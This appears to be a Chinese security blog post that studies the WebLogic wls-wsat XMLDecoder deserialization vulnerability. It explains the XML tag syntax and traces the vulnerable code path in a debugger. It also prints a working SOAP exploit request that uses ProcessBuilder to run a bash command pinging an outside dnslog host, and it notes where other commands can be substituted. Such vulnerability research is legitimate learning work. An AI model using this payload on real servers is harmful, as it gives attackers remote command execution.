作者:Narcher 时间:2024/5/2 分类:Vulnerability Analysis
前言
直接跟着Drunkbaby佬整理的学习路线开始学了,本文记录一下学习过程
正文
XMLDecoder可以读取XMLEncoder生成的XML文档进行命令执行,类似于Fastjson中的json的序列化和反序列化
示例
首先生成一个xml文档:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import javax.swing.*; import java.io.BufferedOutputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.beans.XMLEncoder;
public class XMLEncoder_test { public static void main(String[] args) throws FileNotFoundException { FileOutputStream file = new FileOutputStream("result.xml"); XMLEncoder xmlEncoder = new XMLEncoder(new BufferedOutputStream(file)); xmlEncoder.writeObject(new JButton("2333333")); xmlEncoder.close(); } }
|
生成的result.xml如下:
1 2 3 4 5 6
| <?xml version="1.0" encoding="UTF-8"?> <java version="1.7.0_21" class="java.beans.XMLDecoder"> <object class="javax.swing.JButton"> <string>2333333</string> </object> </java>
|
之后使用XMLDecoder反序列化即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import java.io.BufferedInputStream; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.beans.XMLDecoder;
public class XMLDecoder_test { public static void main(String[] args) throws FileNotFoundException { FileInputStream file = new FileInputStream("result.xml"); XMLDecoder xmlDecoder = new XMLDecoder(new BufferedInputStream(file)); Object o = xmlDecoder.readObject(); System.out.println(o); xmlDecoder.close(); } }
|
输出:
。。。。。。。。。。
问题:现在有点疑惑网上的恶意xml文档是自己编写的还是用XMLEncoder生成的,因为我自己编写Java生成这个的时候出了些问题,感觉无法复现,网上流传的恶意xml文档都是直接给出的xml,没XMLEncoder的代码,如下:
1 2 3 4 5 6 7 8 9 10
| <?xml version="1.0" encoding="UTF-8"?> <java version="1.7.0_21" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="1"> <void index="0"> <string>Calc</string> </void> </array> <void method="start"/></void> </java>
|
XMLDecoder解析后会弹出计算器:
后来问了问Drunkbaby师傅,这种都是直接编写的xml文档,那就要学一下xml的格式了
。。。。。。。。。。
XML基础
这里主要是看一些常用的xml标签,其实网上的都大同小异,知道怎么用就行
string标签
通常作为子标签充当参数,例如:
1 2 3 4 5 6
| <?xml version="1.0" encoding="UTF-8"?> <java version="1.7.0_21" class="java.beans.XMLDecoder"> <object class="javax.swing.JButton"> <string>2333333</string> </object> </java>
|
object标签
object表示对象,通常用来指定调用的类,例如:
1 2 3
| <object class="javax.swing.JButton"> <string>2333333</string> </object>
|
void标签
void标签用处比较广泛,可用于函数或者类的调用,以及赋值等,例如:
1 2 3 4 5 6 7
| <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="1"> <void index="0"> <string>Calc</string> </void> </array> <void method="start"/></void>
|
array标签
array表示数组,表明了数组的类型和长度等,内部可用void标签的index属性指定对应索引使用string标签进行赋值,例如:
1 2 3 4 5
| <array class="java.lang.String" length="1"> <void index="0"> <string>Calc</string> </void> </array>
|
环境搭建
因为这个漏洞主要针对的是WebLogic中WLS-WebServices的组件,所以用之前的环境就够了
详情请看上一篇文章:JAVA安全:Weblogic之CVE-2015-4852反序列化漏洞 | Narcherの小窝
漏洞复现
WebLogic的接口/wls-wsat/CoordinatorPortType可以接收XML的数据包,只是需要用SOAP型的格式进行一些包装即可
数据包如下,直接用的Drunkbaby师傅的poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 192.168.58.128:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: rememberMe=0P214RoHwjsUeSFEpelw10AyENEhVPUZ7Nz6zTsrGCqNikS9UAjsjoU66N22+jnpKV6cPMvTbMIC8POClLrLraGBSUnEWJHhsSLRr6Em+FigyKn1cUyoV3QXhkfQQlt5JxsIZUvTyx9xHvtHCAQE/FQv0TSwVY/4I4DUBJ82qxchbVo7/bqpd8EUGLnZWIuj1+RLfHC4BRV6hj89QKWBWHajSZ1ni24DmoyCCA5nphp4xiulIU/KshFs8bC3enUuPA2/MMywqZWmY0IjOtw+JkXULgbE3DDlU5Mw9jQnA6Z1HjVX2hbLwr//wi/2KOEgYd4Ssieu1IgA7qVk4Hty3BkEGf9A+u/Y33LVioO2Sy/NFr+rywQwQqNqjmA3vGWzdQ1WucoEsCrlcn84ax/DehCba2PLDCOl8sT9qn/fhhWIdoemS8s1UPHWWXqxNjg5tySUUq0TQjWngVCnd4eAtq04oHXj4UthTJHA1jeeQzAK+LLyiziWgI4ZV0s2G6eiM7NqfKAJl1/GjrE59GL2JQ==; ADMINCONSOLESESSION=l8XsmzwdZMP8W1yn0766JTGwf3G2k2NQpl3Z9C25dFqTQ7vsGty0!1153042568 Upgrade-Insecure-Requests: 1 Content-Type: text/xml Content-Length: 646
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>ping aaa.9y1gq6.dnslog.cn</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
|
发现打通了(这里的格式要求有点怪,我删了几个空格就执行不了了):
如果要修改命令的话就更改如下部分:
1
| <string>ping aaa.9y1gq6.dnslog.cn</string>
|
漏洞分析
在wlserver/server/wls-wsat.war/WEB-INF/web.xml中存在着许多接口(未截全):
只要它们能处理SOAP报文,就存在XMLDecoder漏洞
前人以及确定好处理的大致流程路线了,不需要我们自己去找,我们直接把断点打在wlserver\server\lib\weblogic.jar!\weblogic\wsee\jaxws\workcontext\WorkContextServerTube
类的processRequest方法处:
待我们发包之后,发现此处的var1就是我们POST传入的数据:
我们接下来继续跟进,首先var1不为null,进入var2和var3的赋值操作,var2是数据中的headers,之后对var2处理后又赋值给var3:
判断var3不为空之后进入WorkContextServerTube类的readHeaderOld方法:
到var4的时候就已经是我们的恶意XML了:
经过一系列的赋值,也就是层层封装之后,进行var6的创建工作,我们跟进去看一下:
发现其实是XMLDecoder的创建工作,那么我们跟进this.receive(var6)看一下:
经过赋值操作之后触发WorkContextMapImpl类的receiveRequest方法:
再进入WorkContextLocalMap类的receiveRequest方法:
之后把var1传入到WorkContextEntryImpl类的readEntry方法:
跟进readUTF方法发现此处调用了XMLDecoder的readObject方法进行了反序列化
至此流程结束